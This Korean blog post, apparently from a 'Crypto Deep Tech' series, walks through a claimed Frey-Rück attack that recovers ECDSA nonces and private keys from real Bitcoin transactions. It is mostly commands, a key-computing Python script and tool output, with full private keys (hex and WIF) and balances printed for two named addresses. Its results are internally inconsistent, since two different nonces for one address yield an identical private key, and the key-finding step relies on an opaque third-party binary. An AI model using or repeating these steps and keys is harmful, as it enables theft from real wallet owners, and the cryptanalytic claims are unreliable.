비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

크립토 딥 테크

이 글에서는  비트코인 ​​블록체인에서 거래에  서명하기 위한  효율적인 Frey-Rück 공격ECDSA 알고리즘을 구현합니다 . 이전 게시물에서 서명 취약성이라는 주제를 여러 번 다루었습니다  . 비트코인 ​​블록체인 거래에 심각한 취약성이 있는 경우, 취약한 서명에서 비밀 키를ECDSA 추출하여 궁극적으로 비트코인 ​​지갑을 복원하기 위해 다소 어려운 이산 대수 문제를 해결할 수 있습니다   . 비밀 키를 알면 개인 키를 얻을 수 있기 때문입니다.ECDSA "K" (NONCE)

이를 위해 비트코인에 대한 인기 있는 공격 목록 에서 여러 알고리즘이 있는데   , 그 중 하나가  “비트코인에 대한 Frey-Rück 공격” 입니다  .

비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

www.attacksafe.ru/frey-ruck-attack-on-bitcoin

우리는 이 공격의 이론적인 측면을 깊이 다루지 않고, 실험적인 부분으로 바로 들어가겠습니다.

우리의 실무에 따르면, 비트코인 ​​블록체인에는 취약하고 약한 거래가 많이 있다는 것을 알고 있으며, 암호 분석 과정에서 비밀 키가ECDSA 공개되면서  많은 수의 서명이 이루어진 비트코인 ​​주소를 발견했습니다.  "K" (NONCE).


5개의 비트코인 ​​주소를 고려해 보세요.

16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

12시2분2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q

19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac


각 비트코인 ​​주소는 두 가지의 심각한 취약한 거래를 했습니다.


16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

https://btc1.trezor.io/tx/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72
https://btc1.trezor.io/tx/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

https://btc1.trezor.io/tx/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb
https://btc1.trezor.io/tx/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

https://btc1.trezor.io/tx/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4
https://btc1.trezor.io/tx/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

12시2분2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q

https://btc1.trezor.io/tx/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542
https://btc1.trezor.io/tx/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

https://btc1.trezor.io/tx/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db
https://btc1.trezor.io/tx/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

비트코인 블록체인의 비밀키 ‘K’ (NONCE) 공개


[TerminalGoogleColab]을 엽니다    .

14FreyRuckAttack 저장소를  사용하여  효율적인  Frey-Rück 공격 알고리즘 구현

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/14FreyRuckAttack/

ls
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

필요한 모든 패키지를 설치하세요

비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
requirements.txt
sudo apt install python2-minimal

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip2 install -r requirements.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

RawTX를 공격에 대비하세요


16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

https://btc1.trezor.io/tx/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

이제 우리는 모든 취약한 거래에서 모든 R, S, Z 값을 가져와야 합니다.

breakECDSA.py 스크립트를 사용해 보겠습니다.

python2 breakECDSA.py 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8

공격을 구현하고 비밀 키를 얻으려면  “ATTACKSAFE SOFTWARE” 소프트웨어를 사용합니다.

비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
www.attacksafe.ru/software

접근 권한:

chmod +x attacksafe
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

애플리케이션:

./attacksafe -help
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode
./attacksafe -version
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

"ATTACKSAFE SOFTWARE"비트코인에 대한 모든 대중적인 공격을 포함합니다.

모든 공격 목록을 실행해 보겠습니다.

./attacksafe -list
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

그 다음 선택 -tool: frey_ruck_attack

취약한 ECDSA 서명 거래에서 비밀 키를 얻으려면 데이터를  RawTX텍스트 문서에 추가하고 파일로 저장해 보겠습니다.RawTX.txt

0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

-tool frey_ruck_attack소프트웨어를 사용하여 시작 “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

우리는 이 공격을 시작했으며  -tool frey_ruck_attack그 결과는 파일에 저장되었습니다.SecretKey.txt

이제 성공적인 결과를 보려면 파일을 여세요.SecretKey.txt

cat SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
Deployments ECDSA:

SecretKey = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3

RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

"Deployments ECDSA"우리는 비트코인 ​​블록체인 거래에 심각한 취약점이 있다는 것을 의미하는 문구를 봅니다  .

SecretKey value in HEX format, this is our secret key "K" (NONCE):

K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3


Python  스크립트 로 확인해 보겠습니다. point2gen.py


이렇게 하려면  ECPy  타원 곡선 라이브러리를 설치하세요.

pip3 install ECPy
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

이제 다음을 지정하여 스크립트를 실행해 보겠습니다  secret key "K" (NONCE).

python3 point2gen.py 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

(0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)

EC (secp256k1) 시그니처 값으로 지점의 좌표 확인 R

R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8

R          =    0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
point2gen  =   (0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)

ALL CORRECT!

K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3

이제 비밀 키를 알았으므로 비트코인 ​​지갑의 개인 키를 얻을 수 있습니다.16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG


Python 스크립트를 사용해 보겠습니다   .  calculate.py > > > 개인 키 가져오기


코드를 열고 모든 서명 값을 추가해 보겠습니다.K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8


print (h((((S * K) - Z) * modinv(R,N)) % N))

스크립트는 다음 공식을 사용하여 개인 키를 계산합니다.

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

스크립트를 실행해 보겠습니다.

python3 calculate.py
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766

bitaddress를 열어  확인해 보겠습니다.

ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
WIF:  KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa
HEX:  4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

https://www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

Private Key Found!

비트코인 블록체인 거래가 심각하게 취약할 때 ECDSA 서명에서 비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격 구현
www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

BALANCE: $ 711.37


BTC 코인을 잃을 수 있는 잠재적 위협은 비트코인 ​​블록체인 거래의 심각한 취약성으로 인해 발생하므로, 모든 사람이 항상 소프트웨어를 업데이트하고 검증된 장치만 사용할 것을 강력히 권장합니다.


 자세한 암호 분석을 통해 동일한 비트코인 ​​주소에 대해 81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128 에서 심각한 취약점을 발견했습니다.  TXID:


RawTX를 공격에 대비하세요


16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

https://btc1.trezor.io/tx/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

이제 우리는 모든 취약한 거래에서 모든 R, S, Z 값을 가져와야 합니다.

breakECDSA.py 스크립트를 사용해 보겠습니다.

python2 breakECDSA.py 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de

취약한 ECDSA 서명 거래에서 비밀 키를 얻으려면 데이터를  RawTX텍스트 문서에 추가하고 파일로 저장해 보겠습니다.RawTX.txt

01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

-tool frey_ruck_attack소프트웨어를 사용하여 시작 “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

우리는 이 공격을 시작했으며  -tool frey_ruck_attack그 결과는 파일에 저장되었습니다.SecretKey.txt

이제 성공적인 결과를 보려면 파일을 여세요.SecretKey.txt

cat SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
Deployments ECDSA:

SecretKey = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226

RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

"Deployments ECDSA"우리는 비트코인 ​​블록체인 거래에 심각한 취약점이 있다는 것을 의미하는 문구를 봅니다  .

SecretKey value in HEX format, this is our secret key "K" (NONCE):

K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226


Python  스크립트 로 확인해 보겠습니다. point2gen.py


ECPy 타원 곡선 라이브러리를 사용해 보겠습니다  .

이제 다음을 지정하여 스크립트를 실행해 보겠습니다  secret key "K" (NONCE).

python3 point2gen.py 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

(0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc5330988769558c09d36bf12ce2a9d369fc)

EC (secp256k1) 시그니처 값으로 지점의 좌표 확인 R

R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de

R          =    0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
point2gen  =   (0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc5330988769558c09d36bf12ce2a9d369fc)

ALL CORRECT!

K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226

이제 비밀 키를 알았으므로 비트코인 ​​지갑의 개인 키를 얻을 수 있습니다.16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG


Python 스크립트를 사용해 보겠습니다   .   calculate.py > > > 개인 키 가져오기


코드를 열고 모든 서명 값을 추가해 보겠습니다.K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de


print (h((((S * K) - Z) * modinv(R,N)) % N))

스크립트는 다음 공식을 사용하여 개인 키를 계산합니다.

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

스크립트를 실행해 보겠습니다.

python3 calculate.py
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766

bitaddress를 열어  확인해 보겠습니다.

ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
WIF:  KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa
HEX:  4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

https://www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

Private Key Found!

비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

BALANCE: $ 711.37


№2

자세한 암호 분석을 통해 우리는 또한 비트코인 ​​주소에서 심각한 취약점을 발견했습니다.

1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

https://btc1.trezor.io/tx/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb
https://btc1.trezor.io/tx/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

RawTX를 공격에 대비하세요


1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

https://btc1.trezor.io/tx/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
RawTX = 010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000

이제 우리는 모든 취약한 거래에서 모든 R, S, Z 값을 가져와야 합니다.

breakECDSA.py 스크립트를 사용해 보겠습니다.

python2 breakECDSA.py 010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913
Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7

취약한 ECDSA 서명 거래에서 비밀 키를 얻으려면 데이터를  RawTX텍스트 문서에 추가하고 파일로 저장해 보겠습니다.RawTX.txt

010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000

-tool frey_ruck_attack소프트웨어를 사용하여 시작 “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

우리는 이 공격을 시작했으며  -tool frey_ruck_attack그 결과는 파일에 저장되었습니다.SecretKey.txt

이제 성공적인 결과를 보려면 파일을 여세요.SecretKey.txt

cat SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
Deployments ECDSA:

SecretKey = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c

RawTX = 010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000

"Deployments ECDSA"우리는 비트코인 ​​블록체인 거래에 심각한 취약점이 있다는 것을 의미하는 문구를 봅니다  .

SecretKey value in HEX format, this is our secret key "K" (NONCE):

K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c


Python  스크립트 로 확인해 보겠습니다. point2gen.py


ECPy 타원 곡선 라이브러리를 사용해 보겠습니다  .

이제 다음을 지정하여 스크립트를 실행해 보겠습니다  secret key"K" (NONCE).

python3 point2gen.py 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

(0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d , 0x8d8650fddf514e1263e18650a0e72c08f20eeb3c34ad0dd13b3792b890d3ca44)

EC (secp256k1) 시그니처 값으로 지점의 좌표 확인 R

R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913
Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7

R          =    0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
point2gen  =   (0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d , 0x8d8650fddf514e1263e18650a0e72c08f20eeb3c34ad0dd13b3792b890d3ca44)

ALL CORRECT!

K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c

이제 비밀 키를 알았으므로 비트코인 ​​지갑의 개인 키를 얻을 수 있습니다.1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5


Python 스크립트를 사용해 보겠습니다   .   calculate.py > > > 개인 키 가져오기


코드를 열고 모든 서명 값을 추가해 보겠습니다.K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c
R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913
Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7


print (h((((S * K) - Z) * modinv(R,N)) % N))

스크립트는 다음 공식을 사용하여 개인 키를 계산합니다.

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

스크립트를 실행해 보겠습니다.

python3 calculate.py
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

PrivKey = 4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82

bitaddress를 열어  확인해 보겠습니다.

ADDR: 1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
WIF:  KysupQsbEPB7cEcUwpTpxdCAMTVLa9RjVtSzFZbrRV5pcNe2fk4Q
HEX:  4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

https://www.blockchain.com/btc/address/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

Private Key Found!

비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
www.blockchain.com/btc/address/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

BALANCE: $ 677.14


